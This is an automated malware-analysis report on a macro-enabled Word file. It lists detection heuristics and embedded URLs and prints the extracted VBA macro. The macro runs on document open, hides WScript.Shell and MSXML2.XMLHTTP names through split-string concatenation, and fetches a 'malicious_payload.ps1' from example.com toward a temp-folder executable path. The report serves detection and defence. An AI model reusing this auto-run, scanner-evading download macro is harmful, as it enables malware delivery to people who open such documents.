MALICIOUS
138
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
' Create a shell object to execute commands -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WshShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & ".S" & "h" & "e" & "l" & "l") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
strFilePath = "C:" & "\U" & "s" & "e" & "r" & "s" & "\" & Environ("U" & "S" & "E" & "R" & "N" & "A" & "M" & "E") & "\A" & "p" & "p" & "D" & "a" & "t" & "a" & "\L" & "o" & "c" & "a" & "l" & "\t" & "e" & "m" & "p" & "\m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e" -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- https://uithcm-my.sharepoint.com/personal/23520565_ms_uit_edu_vn/Documents/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1588 bytes |
SHA-256: 85cdc3526680166a86b427c20eb764300015656db9d50cbd7e8df22111b8daec |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim WshShell As Object
Dim strFilePath As String
' Define the local file path to save the payload
strFilePath = "C:" & "\U" & "s" & "e" & "r" & "s" & "\" & Environ("U" & "S" & "E" & "R" & "N" & "A" & "M" & "E") & "\A" & "p" & "p" & "D" & "a" & "t" & "a" & "\L" & "o" & "c" & "a" & "l" & "\t" & "e" & "m" & "p" & "\m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e"
' Create a shell object to execute commands
Set WshShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & ".S" & "h" & "e" & "l" & "l")
' Simulate a network request without actual download or execution
Dim xmlHttp As Object
Set xmlHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & ".X" & "M" & "L" & "H" & "T" & "T" & "P")
xmlHttp.Open "G" & "E" & "T", "h" & "t" & "p" & ":" & "/" & "/" & "e" & "x" & "a" & "m" & "p" & "l" & "e" & ".c" & "o" & "m" & "/" & "m" & "a" & "l" & "i" & "c" & "i" & "o" & "u" & "s" & "_p" & "a" & "y" & "l" & "o" & "a" & "d" & ".p" & "s" & "1", F" & "a" & "l" & "s" & "e"
xmlHttp.Send
' Clean up
Set WshShell = N" & "o" & "t" & "h" & "i" & "n" & "g"
Set xmlHttp = N" & "o" & "t" & "h" & "i" & "n" & "g"
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9728 bytes |
SHA-256: c510ad319a246fa419337f67fe4d995b16c2e4be3fe6d2dbba2418f584aca536 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.